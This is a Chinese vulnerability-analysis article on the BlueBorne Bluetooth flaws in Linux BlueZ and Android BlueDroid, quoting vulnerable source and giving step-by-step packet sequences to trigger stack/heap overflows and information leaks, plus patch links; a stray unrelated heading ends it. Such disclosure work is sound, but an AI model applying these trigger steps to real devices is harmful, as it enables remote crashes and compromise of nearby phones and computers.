"这里")来了解一下它的逆天能力：只要手机开启了蓝牙，就可能被远程控制。现在手机这么多，利用这个漏洞写出蠕虫化的工具，那么可能又是一个手机版的低配wannacry了。我们360Vulpecker
Team在了解到这些相关信息后，快速进行了跟进分析。
armis给出了他们的whitepaper，对蓝牙架构和这几个漏洞的分析可以说非常详尽了，先膜一发。不过他们没有给出这些漏洞的PoC或者是exp，只给了一个针对Android的“BlueBorne检测app"，但是逆向这个发现
**仅仅是检测了系统的补丁日期** 。于是我来拾一波牙慧，把这几个漏洞再分析一下，然后把poc编写出来：
* CVE-2017-1000250 Linux bluetoothd进程信息泄露
* CVE-2017-1000251 Linux 内核栈溢出
* CVE-2017-0785 Android com.android.bluetooth进程信息泄露
* CVE-2017-0781 Android com.android.bluetooth进程堆溢出
* CVE-2017-0782 Android com.android.bluetooth进程堆溢出
以上PoC代码均在<https://github.com/marsyy/littl_tools/tree/master/bluetooth>
由于也是因为这几个漏洞才从零开始搞蓝牙，所以应该有些分析不到位的地方，还请各路大牛斧正。
#### 0x01 蓝牙架构及代码分布
这里首先应该祭出armis的paper里的图：
图上把蓝牙的各个层次关系描述得很详尽，不过我们这里暂时只需要关心这么几层：HCI，L2CAP，BNEP，SDP。BNEP和SDP是比较上层的服务，HCI在最底层，直接和蓝牙设备打交道。而承载在蓝牙服务和底层设备之间的桥梁，也就是L2CAP层了。每一层都有它协议规定的数据组织结构，所有层的数据包组合在一起，就是一个完整的蓝牙包（一个SDP包为例）：
虽然协议规定的架构是图上说的那样，但是具体实现是有不同的，Linux用的BlueZ，而现在的Android用的BlueDroid，也就针对这两种架构说一说代码的具体分布。
##### BlueZ
在Linux里，用的是BlueZ架构，由bluetoothd来提供BNEP,SDP这些比较上层的服务，而L2CAP层则是放在内核里面。对于BlueZ我们对SDP和L2CAP挨个分析。
1， 实现SDP服务的代码在代码目录的/src/sdp，其中sdp-client.c是它的客户端，sdp-server.c是它的服务端。我们要分析的漏洞都是远程的漏洞，所以问题是出在服务端里面，我们重点关注服务端。而服务端最核心的代码，应该是它对接受到的数据包的处理的过程，这个过程由`sdp-request.c`来实现。当L2CAP层有SDP数据后，会触发`sdp-server.c`的`io_session_event`函数，来获取这个数据包，交由`sdp-request.c`的`handle_request`函数处理(怎么处理的，后续漏洞分析的时候再讲)：
static gboolean io_session_event(GIOChannel *chan, GIOCondition cond, gpointer data)
{
...
len = recv(sk, &hdr, sizeof(sdp_pdu_hdr_t), MSG_PEEK); //获取SDP的头部数据，获得SDP数据大小
if (len < 0 || (unsigned int) len < sizeof(sdp_pdu_hdr_t)) {
sdp_svcdb_collect_all(sk);
return FALSE;
}
size = sizeof(sdp_pdu_hdr_t) + ntohs(hdr.plen);
buf = malloc(size);
if (!buf)
return TRUE;
len = recv(sk, buf, size, 0); //获得完整数据包
...
handle_request(sk, buf, len);
return TRUE;
}
2， L2CAP层的代码在内核里，这里我以Linux 4.2.8这份代码为例。l2cap层主要由
`/net/bluetooth/l2capcore.c`和`/net/bluetooth/l2capsock.c`来实现。l2capcore.c实现了L2CAP协议的主要内容，l2capsock.c
通过注册sock协议的方式提供了这一层针对userspace的接口。同样的我们关心一个L2CAP对接受到数据包后的处理过程，L2CAP的数据是由HCI层传过来的，在hcicore.c的hcirxwork函数里
static void hci_rx_work(struct work_struct *work)
{
while ((skb = skb_dequeue(&hdev->rx_q))) {
/* Send copy to monitor */
hci_send_to_monitor(hdev, skb);
...
switch (bt_cb(skb)->pkt_type) {
case HCI_EVENT_PKT:
BT_DBG("%s Event packet", hdev->name);
hci_event_packet(hdev, skb);
break;
case HCI_ACLDATA_PKT:
BT_DBG("%s ACL data packet", hdev->name);
hci_acldata_packet(hdev, skb);
break;
case HCI_SCODATA_PKT:
BT_DBG("%s SCO data packet", hdev->name);
hci_scodata_packet(hdev, skb);
break;
default:
kfree_skb(skb);
break;
}
}
}
收到数据后，会判断pkt_type，符合L2CAP层的type是`HCI_ACLDATA_PKT`，函数会走到`hci_acldata_packet`，这个函数会把HCI的数据剥离之后，把L2CAP数据交给L2CAP层的`l2cap_recv_acldata`：
static void hci_acldata_packet(struct hci_dev *hdev, struct sk_buff *skb)
{
...
skb_pull(skb, HCI_ACL_HDR_SIZE);
...
if (conn) {
hci_conn_enter_active_mode(conn, BT_POWER_FORCE_ACTIVE_OFF);
/* Send to upper protocol */
l2cap_recv_acldata(conn, skb, flags);
return;
} else {
BT_ERR("%s ACL packet for unknown connection handle %d",
hdev->name, handle);
}
kfree_skb(skb);
}
同样的，对于L2CAP层对数据的细致处理，我们还是等后续和漏洞来一块进行分析。
##### BlueDroid
在现在的Android里，用的是BlueDroid架构。这个和BlueZ架构有很大不同的一点是：BlueDroid将L2CAP层放在了userspace。SDP，BNEP，L2CAP统统都由`com.android.bluetooth`这个进程管理。而BlueDroid代码的核心目录在Android源码目录下的
/sytem/bt
，这个目录的核心产物是`bluetooth.default.so`，这个so集成所有Android蓝牙相关的服务，而且这个so没有导出任何相关接口函数，只导出了几个协议相关的全局变量供使用，所以想根据so来本地检测本机是否有BlueDrone漏洞，是一件比较困难的事情。对于BlueDroid，由于android的几个漏洞出在BNEP服务和SDP服务，所以也就主要就针对这两块。值得注意的是，在Android里，不论是64位还是32位的系统，这个`bluetooth.default.so`都是用的32位的。文章里这部分代码都基于Android7.1.2的源码。
1，BlueDroid的SDP服务的代码，在`/system/bt/stack/sdp` 文件夹里，其中sdp服务端对数据包的处理由sdp-server.c实现。SDP连接建立起来后，在收到SDP数据包之后呢，会触发回调函数sdpdataind，这个函数会把数据包交个`sdp-server.c`的`sdpserverhandleclientreq`函数进行处理:
static void sdp_data_ind (UINT16 l2cap_cid, BT_HDR *p_msg)
{
tCONN_CB *p_ccb;
if ((p_ccb = sdpu_find_ccb_by_cid (l2cap_cid)) != NULL)
{
if (p_ccb->con_state == SDP_STATE_CONNECTED)
{
if (p_ccb->con_flags & SDP_FLAGS_IS_ORIG)
sdp_disc_server_rsp (p_ccb, p_msg);
else
sdp_server_handle_client_req (p_ccb, p_msg);
}
...
}
2，BlueDroid的BNEP服务的代码主要在`/system/bt/stack/bnep/bnepmain.c`。BNEP连接建立起来后，再收到BNEP的包，和SDP类似，会触发回调函数`bnepdata_ind`，这个函数包含了所有对BNEP请求的处理，漏洞也是发生在这里，具体的代码我们后续会分析。
#### 0x02 漏洞分析以及PoC写法
蓝牙的预备知识差不多了，主要是找数据包的入口。我们再基于漏洞和PoC的编写过程来详细分析其中的处理过程，和相关蓝牙操作的代码该怎么写。
##### CVE-2017-1000251
这个是Linux
L2CAP层的漏洞，那么就是内核里面的。先不着急看漏洞，先看L2CAP层如何工作。在一个L2CAP连接的过程中，我们抓取了它的数据包来分析，L2CAP是怎么建立起连接的：
我们注意这么几个包： sentinfomationrequest , sendconnectionrequest,
sendconfigurerequest。抓包可以看到，在一次完整的L2CAP连接的建立过程中，发起连接的机器，会主动送出这么几个包。其中infomationrequest是为了得到对方机器的名称等信息，connectionrequest是为了建立L2CAP真正的连接，主要是为了确定双方的CHANNEL
ID，后续的数据包传输都要跟着这个channel id 走（图上的SCID,
DCID），这个channel也就是我们所说的连接。在connectionrequest处理完毕之后，连接状态将变成 BTCONNECT2
。随后机器会发起configure_request,这一步就到了armis的paper第十页所说的configuration process:
这个过程完成后，整个L2CAP层的连接也就建立完成。
从上述过程看，可以发现L2CAP层连接的建立，主要是对上述三个请求的发起和处理。而我们的漏洞，也其实就发生在configuration
process。我们先分析接收端收到这三个请求后，处理的逻辑在哪里，也就是我们前文提到的L2CAP对接受到的数据的处理过程：
1，在l2caprecvacldata接收到数据后，数据包会传给l2cap_recvframe
2，l2caprecvframe会取出检查L2CAP的头部数据，然后检查根据头部里的cid字段，来选择处理逻辑：
static void l2cap_recv_frame(struct l2cap_conn *conn, struct sk_buff *skb)
{
...
skb_pull(skb, L2CAP_HDR_SIZE);
cid = __le16_to_cpu(lh->cid);
len = __le16_to_cpu(lh->len);
switch (cid) {
case L2CAP_CID_SIGNALING:
l2cap_sig_channel(conn, skb);
break;
case L2CAP_CID_CONN_LESS:
psm = get_unaligned((__le16 *) skb->data);
skb_pull(skb, L2CAP_PSMLEN_SIZE);
l2cap_conless_channel(conn, psm, skb);
break;
case L2CAP_CID_LE_SIGNALING:
l2cap_le_sig_channel(conn, skb);
break;
default:
l2cap_data_channel(conn, cid, skb);
break;
}
3，底层L2CAP的连接，cid固定是L2CAP_CID_SIGNALING，于是会走`l2cap_sig_channel`，`l2cap_sig_channel`得到的是剥离了头部的L2CAP的数据，这一部将把数据里的cmd头部解析并剥离，再传给`l2cap_bredr_sig_cmd`进行处理：
static inline void l2cap_sig_channel(struct l2cap_conn *conn,
struct sk_buff *skb)
{
...
while (len >= L2CAP_CMD_HDR_SIZE) {
u16 cmd_len;
memcpy(&cmd, data, L2CAP_CMD_HDR_SIZE); //取得cmd头部数据
data += L2CAP_CMD_HDR_SIZE;
len -= L2CAP_CMD_HDR_SIZE;
cmd_len = le16_to_cpu(cmd.len); //取得cmd的大小
...
err = l2cap_bredr_sig_cmd(conn, &cmd, cmd_len, data); //传给l2cap_bredr_sig_cmd处理
...
data += cmd_len;
len -= cmd_len;
}
drop:
kfree_skb(skb);
}
到这里，我们应该能得出L2CAP协议的数据结构：
4， 随后数据进入到了l2cap_bredr_sig_cmd函数进行处理。这里也就是处理L2CAP各种请求的核心函数了：
static inline int l2cap_bredr_sig_cmd(struct l2cap_conn *conn,
struct l2cap_cmd_hdr *cmd, u16 cmd_len,
u8 *data)
{
int err = 0;
switch (cmd->code) {
case L2CAP_CONN_REQ:
err = l2cap_connect_req(conn, cmd, cmd_len, data);
break;
case L2CAP_CONN_RSP:
case L2CAP_CREATE_CHAN_RSP:
l2cap_connect_create_rsp(conn, cmd, cmd_len, data);
break;
case L2CAP_CONF_REQ:
err = l2cap_config_req(conn, cmd, cmd_len, data);
break;
case L2CAP_CONF_RSP:
l2cap_config_rsp(conn, cmd, cmd_len, data); //漏洞函数
break;
...
case L2CAP_INFO_REQ:
err = l2cap_information_req(conn, cmd, cmd_len, data);
break;
case L2CAP_INFO_RSP:
l2cap_information_rsp(conn, cmd, cmd_len, data);
break;
...
}
return err;
}
好了，接下来终于可以分析漏洞了。我们的漏洞发生在对L2CAP_CONFIGRSP（config
response）这个cmd的处理上。其实漏洞分析armis的paper已经写的很详尽了，我这里也就权当翻译了吧，然后再加点自己的理解。那么来看l2capconfigrsp:
static inline int l2cap_config_rsp(struct l2cap_conn *conn,
struct l2cap_cmd_hdr *cmd, u16 cmd_len,
u8 *data)
{
struct l2cap_conf_rsp *rsp = (struct l2cap_conf_rsp *)data;
...
scid = __le16_to_cpu(rsp->scid); //从包中剥离出scid
flags = __le16_to_cpu(rsp->flags); //从包中剥离出flag
result = __le16_to_cpu(rsp->result); //从包中剥离出result
switch (result) {
case L2CAP_CONF_SUCCESS:
l2cap_conf_rfc_get(chan, rsp->data, len);
clear_bit(CONF_REM_CONF_PEND, &chan->conf_state);
break;
case L2CAP_CONF_PENDING:
set_bit(CONF_REM_CONF_PEND, &chan->conf_state);
if (test_bit(CONF_LOC_CONF_PEND, &chan->conf_state)) { //判断conf_state是否是CONF_LOC_CONF_PEND
char buf[64]; //buf数组大小64字节
len = l2cap_parse_conf_rsp(chan, rsp->data, len,
buf, &result); //data仍然是包中数据，len也是包中数据。
...
}
goto done;
...
当收到的数据包里，满足result == L2CAP_CONF_PENDING，且自身的连接状态conf_state ==
CONF_LOC_CONF_PEND的时候，会走到 `l2cap_parse_conf_rsp`函数里，而且传过去的buf是个长度为64的数据，参数len
，参数rsp->data都是由包中的内容来任意确定。那么在`l2cap_parse_conf_rsp`函数里：
static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len,
void *data, u16 *result)
{
struct l2cap_conf_req *req = data;
void *ptr = req->data;
int type, olen;
unsigned long val;
while (len >= L2CAP_CONF_OPT_SIZE) { //len没有被检查，由接收到的包内容控制
len -= l2cap_get_conf_opt(&rsp, &type, &olen, &val);
switch (type) {
case L2CAP_CONF_MTU:
if (val < L2CAP_DEFAULT_MIN_MTU) {
*result = L2CAP_CONF_UNACCEPT;
chan->imtu = L2CAP_DEFAULT_MIN_MTU;
} else
chan->imtu = val;
l2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, chan->imtu);
break;
case ...
}
}
}
static void l2cap_add_conf_opt(void **ptr, u8 type, u8 len, unsigned long val)
{
struct l2cap_conf_opt *opt = *ptr;
opt->type = type;
opt->len = len;
switch (len) {
case 1:
*((u8 *) opt->val) = val;
break;
case 2:
put_unaligned_le16(val, opt->val);
break;
case 4:
put_unaligned_le32(val, opt->val);
break;
default:
memcpy(opt->val, (void *) val, len);
break;
}
*ptr += L2CAP_CONF_OPT_SIZE + len;
}
仔细阅读这个函数的代码可以知道，这个函数的功能就是根据传进来的包，来构造将要发出去的包。而数据的出口就是传进去的64字节大小的buf。但是对传入的包的数据的长度并没有做检验，那么当len很大时，就会一直往出口buf里写数据，比如有64个`L2CAP_CONF_MTU`类型的opt，那么就会往buf里写上64*(L2CAP_CONF_OPT_SIZE
+ 2)个字节，那么显然这里就发生了溢出。由于buf是栈上定义的数据结构，那么这里就是一个栈溢出。 不过值得注意的是，代码要走进去，需要conf_state
== CONF_LOC_CONF_PEND，这个状态是在处理`L2CAP_CONF_REQ`数据包的时候设置的：
static int l2cap_parse_conf_req(struct l2cap_chan *chan, void *data)
{
...
u8 remote_efs = 0;
u16 result = L2CAP_CONF_SUCCESS;
...
while (len >= L2CAP_CONF_OPT_SIZE) {
len -= l2cap_get_conf_opt(&req, &type, &olen, &val);
hint = type & L2CAP_CONF_HINT;
type &= L2CAP_CONF_MASK;
switch (type) {
...
case L2CAP_CONF_EFS:
remote_efs = 1; //【1】
if (olen == sizeof(efs))
memcpy(&efs, (void *) val, olen);
break;
...
}
done:
...
if (result == L2CAP_CONF_SUCCESS) {
...
if (remote_efs) {
if (chan->local_stype != L2CAP_SERV_NOTRAFIC &&
efs.stype != L2CAP_SERV_NOTRAFIC && //【2】
efs.stype != chan->local_stype) {
...
} else {
/* Send PENDING Conf Rsp */
result = L2CAP_CONF_PENDING;
set_bit(CONF_LOC_CONF_PEND, &chan->conf_state); //这里设置CONF_LOC_CONF_PEND
}
}
}
当收到L2CAPCONFREQ的包中包含有L2CAPCONFEFS类型的数据【1】，而且L2CAPCONFEFS数据的stype ==
L2CAPSERVNOTRAFIC【2】的时候，confstate会被置CONFLOCCONFPEND
到这里，这个漏洞触发的思路也就清楚了：
1，建立和目标机器的L2CAP
连接，这里注意socktype的选择要是SOCKRAW，如果不是，内核会自动帮我们完成sentinfomationrequest ,
sendconnectionrequest, sendconfigurerequest这些操作，也就无法触发目标机器的漏洞了。
2，建立SOCKRAW连接，connect的时候，会自动完成sentinfomationrequest的操作，不过这个不影响。
3，接下来我们需要完成sendconnectionrequest操作，来确定SCID,DCID。完成这个操作的过程是发送合法的
L2CAPCONNREQ数据包。
4，接下来需要发送包含有L2CAPCONFEFS类型的数据，而且L2CAPCONFEFS数据的stype ==
L2CAPSERVNOTRAFIC的L2CAPCONFREQ包，这一步是为了让目标机器的confstate变成CONFLOCCONFPEND。
5，这里就到了发送cmdlen很长的L2CAPCONNRSP包了。这个包的result字段需要是L2CAPCONFPENDING。那么这个包发过去之后，目标机器就内核栈溢出了，要么重启了，要么死机了。
这个漏洞是这几个漏洞里，触发最难的。
##### CVE-2017-1000250
这个漏洞是BlueZ的SDP服务里的信息泄露漏洞。这个不像L2CAP层的连接那么复杂，主要就是上层服务，收到数据就进行处理。那么我们也只需要关注处理的函数。
之前说过，BlueZ的SDP收到数据是从iosessionevent开始。之后，数据的流向是：
iosessionevent-->handlerequest-->processrequest
有必要介绍一下SDP协议的数据结构： 它有一个sdppudhdr的头部，头部数据里定义了PUD命令的类型，tid，以及pdu
parameter的长度，然后就是具体的parameter。最后一个字段是continuation
state，当一个包发不完所要发送的数据的时候，这个字段就会有效。对与这个字段，BlueZ给了它一个定义：
typedef struct {
uint32_t timestamp;
union {
uint16_t maxBytesSent;
uint16_t lastIndexSent;
} cStateValue;
} sdp_cont_state_t;
对于远程的连接，PDU命令类型只能是这三个：SDPSVCSEARCHREQ, SDPSVCATTRREQ,
SDPSVCSEARCHATTRREQ。这个漏洞呢，出现在对SDP_SVCSEARCHATTRREQ命令的处理函数里面
servicesearchattrreq 。这个函数有点长，就直接说它干了啥，不贴代码了：
1， extractdes(pdata, dataleft, &pattern, &dtd, SDPTYPEUUID); 解析service search
pattern（对应SDP协议数据结构图）
2，max = getbe16(pdata); 获得Maximu Attribute Byte
3，scanned = extractdes(pdata, dataleft, &seq, &dtd, SDPTYPEATTRID);解析Attribute
ID list
4，if (sdpcstateget(pdata, dataleft, &cstate) < 0) ;获取continuation
state状态cstate，如果不为0，则将包里的continuation state数据复制给cstate.
漏洞发生在对cstate状态不为0的时候的处理，我们重点看这部分的代码：
sdp_buf_t *pCache = sdp_get_cached_rsp(cstate);
if (pCache) {
uint16_t sent = MIN(max, pCache->data_size - cstate->cStateValue.maxBytesSent);
pResponse = pCache->data;
memcpy(buf->data, pResponse + cstate->cStateValue.maxBytesSent, sent); //【1】
buf->data_size += sent;
cstate->cStateValue.maxBytesSent += sent;
if (cstate->cStateValue.maxBytesSent == pCache->data_size)
cstate_size = sdp_set_cstate_pdu(buf, NULL);
else
cstate_size = sdp_set_cstate_pdu(buf, cstate);
sdpgetcachedrsp函数其实是对cstate的timestamp值的检验，如何过这个检验之后再说。当代码走到【1】处的memcpy时，由于cstate->maxBytesSent就是由数据包里的数据所控制，而且没有做任何检验，所以这里可以为任意的uint16t值。那么很明显，这里就出现了一个对pResponse的越界读的操作。而越界读的数据还会通过SDP
RESPONSE发送给攻击方，那么一个信息泄露就发生了。
写这个poc需要注意sdpgetcachedrsp的检验的绕过，那么首先需要得到一个timestamp。当一次发送的包不足以发送完所有的数据的时候，会设置cstate状态，所以如果我们发给服务端的包里，max字段非常小，那么服务端就会给我们回应一个带cstate状态的包，这里面会有timestamp:
if (cstate == NULL) {
...
if (buf->data_size > max) { //max 可由接收到的包数据指定
sdp_cont_state_t newState;
memset((char *)&newState, 0, sizeof(sdp_cont_state_t));
newState.timestamp = sdp_cstate_alloc_buf(buf); //这里得到一个timestamp
buf->data_size = max;
newState.cStateValue.maxBytesSent = max;
cstate_size = sdp_set_cstate_pdu(buf, &newState); //回应的包中，写上cstate状态。
} else
cstate_size = sdp_set_cstate_pdu(buf, NULL);
所以，我们的poc应该是这个步骤：
1，建立SDP连接。这里我们的socket需要是SOCK_STREAM类型，而且connet的时候，addr的psm字段要是0x0001。关于连接的PSM：
2，发送一个不带cstate状态的数据包，而且指定Maximu Attribute
Byte的值非常小。这一步是为了让服务端给我们返回一个带timestamp的包。
3，接收这个带timestamp的包，并将timestamp提取。
4，发送一个带cstate状态的数据包，cstate的timestamp是指定为提取出来的值，服务端memcpy的时候，则就会把pResponse+maxBytesSent的内容发送给我们，读取这个数据包，则就获取了泄露的数据。
##### CVE-2017-0785
这个漏洞也是SDP的信息泄露漏洞，不过是BlueDroid的。与BlueZ的那个是有些类似的。我们也从对SDP数据包的处理函数说起。
SDP数据包会通过sdpdataind函数送给sdpserverhandleclientreq。与BlueZ一样，这个函数也会根据包中的pudid来确定具体的处理函数。这个漏洞发生在对SDPPDUSERVICESEARCH_REQ命令的处理，对包内数据的解析与上文BlueZ中的大同小异，不过注意在BlueDroid中，cstate结构与BlueZ中有些不同：
typedef struct {
uint16_t cont_offset;
} sdp_cont_state_t;
这里主要看漏洞：
①, BE_STREAM_TO_UINT16 (max_replies, p_req);从包中解析出Maximu Attribute Byte
②， for (num_rsp_handles = 0; num_rsp_handles < max_replies; )
{
p_rec = sdp_db_service_search (p_rec, &uid_seq);
if (p_rec)
rsp_handles[num_rsp_handles++] = p_rec->record_handle;
else
break;
}
③, /* Check if this is a continuation request */
if (*p_req)
{
if (*p_req++ != SDP_CONTINUATION_LEN || (p_req >= p_req_end))
{
sdpu_build_n_send_error (p_ccb, trans_num, SDP_INVALID_CONT_STATE,
SDP_TEXT_BAD_CONT_LEN);
return;
}
BE_STREAM_TO_UINT16 (cont_offset, p_req); //从包中得到cont_offset
if (cont_offset != p_ccb->cont_offset) //对cont_offset的检验
{
sdpu_build_n_send_error (p_ccb, trans_num, SDP_INVALID_CONT_STATE,
SDP_TEXT_BAD_CONT_INX);
return;
}
rem_handles = num_rsp_handles - cont_offset; /* extract the remaining handles */
}
else
{
rem_handles = num_rsp_handles;
cont_offset = 0;
p_ccb->cont_offset = 0;
}
④， cur_handles = (UINT16)((p_ccb->rem_mtu_size - SDP_MAX_SERVICE_RSPHDR_LEN) / 4);
if (rem_handles <= cur_handles)
cur_handles = rem_handles;
else /* Continuation is set */
{
p_ccb->cont_offset += cur_handles;
is_cont = TRUE;
}
⑤， for (xx = cont_offset; xx < cont_offset + cur_handles; xx++)
UINT32_TO_BE_STREAM (p_rsp, rsp_handles[xx]);
①，②中代码可以看出，变量numrsphandles的值，一定程度上可以由包中的Maximu Attribute Byte字段控制。
③中代码是对带cstate的包的处理，第一步是对大小的检查，第二步是获得contoffset，然后对contoffset进行检查，第三步就到了
**remhandles = numrsphandles - contoffset** 可以思考一种情况，如果numrsphandles <
contoffset，那么这个代码就会发生整数的下溢，而numrsphandles在一定程度上我们可以控制，而且是可以控制它变成０，那么只要contoffset不为０，这里就会发生整数下溢。发生下溢的结果给了remhandles，而这个变量代表的是还需要发送的数据数。
在④中，如果remhandles是发生了下溢的结果，由于它是uint16t类型，那么它将变成一个很大的数，所以会走到 pccb->contoffset +=
curhandles;,curhandles是一个固定的值，那么如果这个下溢的过程，发生很多次，pccb->contoffset就会变得很大，那么在５处，就会有一个对rsphandles数组的越界读的产生。
下面的操作可以让这个越界读发生：
１，发送一个不带cstate的包， 而且Maximu Attribute Byte字段设置的比较大。那么结果就是remhandles =
numrsphandles，而由于maxreplies比较大，所以numrsphandles会成为一个比较大的值。只要在④中保证remhandles >
curhandles，那么pccb->contoffset就会成为一个非０值curhandles。这一步是为了使得pccb->contoffset成为一个非０值。
２，接收服务端的回应包，这个回应包里的cstate字段将会含有刚刚的pccb->contoffset值，我们取得这个值。
３，发送一个带cstate的包，contoffset指定为刚刚提取的值，而且设置Maximu Attribute
Byte字段为０。那么服务端收到这个包后，就会走到remhandles = numrsphandles - contoffset
从而发生整数下溢，同时pccb->contoffset又递增一个cur_handles大小。
４，重复２和３的过程，那么pccb->contoffset将越来越大，从而在⑤出发生越界读，我们提取服务端返回的数据，就可以获得泄露的信息的内容。
##### CVE-2017-0781
现在我们到了BNEP服务。BNEP的协议格式，下面两张图可以说明的很清楚：
BlueDroid中BNEP服务对于接受到的数据包的处理也不复杂：
1,解析得到BNEPTYPE，得到extension位。
2,检查连接状态，如果已经连接则后续可以处理非BNEPFRAMECONTROL的包，如果没有建立连接，则后续只处理BNEPFRAMECONTROL的包。
3,去BNEPTYPE对应的处理函数进行处理。
4,对于BNEPTYPE不是BNEPFRAME_CONTROL而且有extension位的，还需要对extension的数据进行处理。
5,调用pan层的回调函数。
值得注意的是，BNEP连接真正建立起来，需要先处理一个合法的BNEPFRAMECONTROL数据包。
CVE-2017-0781正是连接还没建立起来，在处理BNEPFRAMECONTROL时所发生的问题：
case BNEP_FRAME_CONTROL:
ctrl_type = *p;
p = bnep_process_control_packet (p_bcb, p, &rem_len, FALSE);
if (ctrl_type == BNEP_SETUP_CONNECTION_REQUEST_MSG &&
p_bcb->con_state != BNEP_STATE_CONNECTED &&
extension_present && p && rem_len)
{
p_bcb->p_pending_data = (BT_HDR *)osi_malloc(rem_len);
memcpy((UINT8 *)(p_bcb->p_pending_data + 1), p, rem_len);
p_bcb->p_pending_data->len = rem_len;
p_bcb->p_pending_data->offset = 0;
}
上述代码中，malloc了一个remlen的大小，这个是和收到的数据包的长度相关的。可是memcpy的时候，却是从`pbcb->ppendingdata＋１`开始拷贝数据，那么这里会直接溢出一个`sizeof(*(pbcb->ppendingdata))`大小的内容。这个大小是8.所以只要代码走到这，就会有一个8字节大小的堆溢出。而要走到这，只需要过那个if的判断条件，而这个if其实是对BNEPSETUPCONNECTIONREQUESTMSG命令处理失败后的错误处理函数。那么只要发送一个错误的`BNEPSETUP_CONNECTIONREQUESTMSG`命令包，就可以进入到这段代码了触发堆溢出了。
所以我们得到poc的编写过程：
１，建立BNEP连接，这个和SDP类似，只是需要指定PSM为BNEP对应的0x000F。
２，发送一个BNEPTYPE为BNEPFRAMECONTROL，extension字段为１，ctrltype为BNEPSETUPCONNECTIONREQUESTMSG的错误的BNEP包：
##### CVE-2017-0782
这个也是由于BNEP协议引起的漏洞，首先它是个整数溢出，整数溢出导致的后果是堆溢出。 问题出在BNEP对extension字段的处理上：
UINT8 *bnep_process_control_packet (tBNEP_CONN *p_bcb, UINT8 *p, UINT16 *rem_len, BOOLEAN is_ext)
{
UINT8 control_type;
BOOLEAN bad_pkt = FALSE;
UINT16 len, ext_len = 0;
if (is_ext)
{
ext_len = *p++; 【１】
*rem_len = *rem_len - 1;
}
control_type = *p++;
*rem_len = *rem_len - 1;
switch (control_type)
{
...
default :
bnep_send_command_not_understood (p_bcb, control_type);
if (is_ext)
{
p += (ext_len - 1);
*rem_len -= (ext_len - 1); 【２】
}
break;
}
if (bad_pkt)
{
BNEP_TRACE_ERROR ("BNEP - bad ctl pkt length: %d", *rem_len);
*rem_len = 0;
return NULL;
}
return p;
}
上述代码中，【１】的ext_len从数据包中获得，没有长度的检查，可为任意值。而当control_type为一个非法值的时候，会走到【２】,那么这里就很有说法了，我们如果设置ext_len比较大，那么这里就会发生一个整数下溢。从而使得rem_len变成一个很大的uint16_t的值。这个值将会影响后续的处理：
while (extension_present && p && rem_len)
{
ext_type = *p;
extension_present = ext_type >> 7;
ext_type &= 0x7F;
...
p++;
rem_len--;
p = bnep_process_control_packet (p_bcb, p, &rem_len, TRUE); 【１】
}
p_buf->offset += p_buf->len - rem_len;
p_buf->len = rem_len; 【２】
...
if (bnep_cb.p_data_buf_cb)
{
(*bnep_cb.p_data_buf_cb)(p_bcb->handle, p_src_addr, p_dst_addr, protocol, p_buf, fw_ext_present); 【３】
}
...
osi_free(p_buf);
}
上面的代码中，【１】处将发生整数下溢出，使得rem_len成为一个很大的值（比如0xfffd），【２】处会将这个值赋值给p_buf->len。【３】处是回调函数处理这个p_buf，在BlueDroid中这个函数是pan_data_buf_ind_cb，这个函数会有一条路径调到bta_pan_data_buf_ind_cback，而在这个函数中：
static void bta_pan_data_buf_ind_cback(UINT16 handle, BD_ADDR src, BD_ADDR dst, UINT16 protocol, BT_HDR *p_buf,
BOOLEAN ext, BOOLEAN forward)
{
tBTA_PAN_SCB *p_scb;
BT_HDR *p_new_buf;
if (sizeof(tBTA_PAN_DATA_PARAMS) > p_buf->offset) {
/* offset smaller than data structure in front of actual data */
p_new_buf = (BT_HDR *)osi_malloc(PAN_BUF_SIZE);
memcpy((UINT8 *)(p_new_buf + 1) + sizeof(tBTA_PAN_DATA_PARAMS),
(UINT8 *)(p_buf + 1) + p_buf->offset, p_buf->len);
p_new_buf->len = p_buf->len;
p_new_buf->offset = sizeof(tBTA_PAN_DATA_PARAMS);
osi_free(p_buf);
} else {
...
}
memcpy用到了我们传进来的pbuf，而pbuf->len是刚刚下溢之后的很大的值，所以主要保证sizeof(tBTAPANDATAPARAMS) >
pbuf->offset，这里就会发生一次很大字节的堆溢出。
代码首先要走到extension的处理，这个的前提是连接状态是BNEPSTATECONNECTED。而这个状态的建立，需要服务端先接收一个正确的BNEPSETUPCONNECTIONREQUESTMSG请求包，同时要想pandatabufindcb调用到bta_pandatabufindcback产生堆溢出，需要在建立连接的时候指定UUID为UUIDSERVCLASSPANU可以阅读这两个函数来找到这样做的原因，这里就不再贴代码了。清楚这一点之后，我们就可以构造我们的poc了：
１，建立BNEP连接，这里只是建立起初步的连接，connstate还不是BNEPSTATECONNECTED，这一步通过connect实现
２，发送一个正确的BNEPSETUPCONNECTIONREQUESTMSG请求包，同时指定UUID为UUIDSERVCLASSPANU。这个包将是这样子：
3，发送一个extension字段可导致整数下溢的包，而且注意控制pbuf->offset变得比较小：
这样PoC就完成了。
CVE-2017-0781和CVE-2017-0782导致了堆溢出，一般会使得com.android.bluetooth崩溃，但是这个进程崩溃系统不会有提醒，需要去logcat来找崩溃的日志。这是两个很有品质的堆溢出漏洞，结合前面的信息泄露漏洞，是完全可以转化为远程代码执行的。
#### 0x03
这篇分析到这里也就结束了，蓝牙出漏洞是个比较危险的事情，希望没有修补的能尽快修补，补丁链接如下：
* [CVE-2017-1000250](https://git.kernel.org/pub/scm/bluetooth/bluez.git/commit/?id=9e009647b14e810e06626dde7f1bb9ea3c375d09 "CVE-2017-1000250")
* [CVE-2017-1000251](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e860d2c904d1a9f38a24eb44c9f34b8f915a6ea3 "CVE-2017-1000251")
* [CVE-2017-0785](https://android.googlesource.com/platform/system/bt/+/226ea26684d4cd609a5b456d3d2cc762453c2d75 "CVE-2017-0785")
* [CVE-2017-0781](https://android.googlesource.com/platform/system/bt/+/c513a8ff5cfdcc62cc14da354beb1dd22e56be0e "CVE-2017-0781")
* [CVE-2017-0782](https://android.googlesource.com/platform/system/bt/+/4e47f3db62bab524946c46efe04ed6a2b896b150 "CVE-2017-0782")
确定自己是否有漏洞可以用我们提供的poc呀，关于蓝牙漏洞的研究，也希望能和各位多多交流。
参考文档:
1. <https://www.armis.com/blueborne/>
2. <http://blog.csdn.net/rain0993/article/details/8533246>
3. <https://people.csail.mit.edu/albert/bluez-intro/index.html>
* * * | 社区文章 |
# “道有道”的对抗之路
|
##### 译文声明
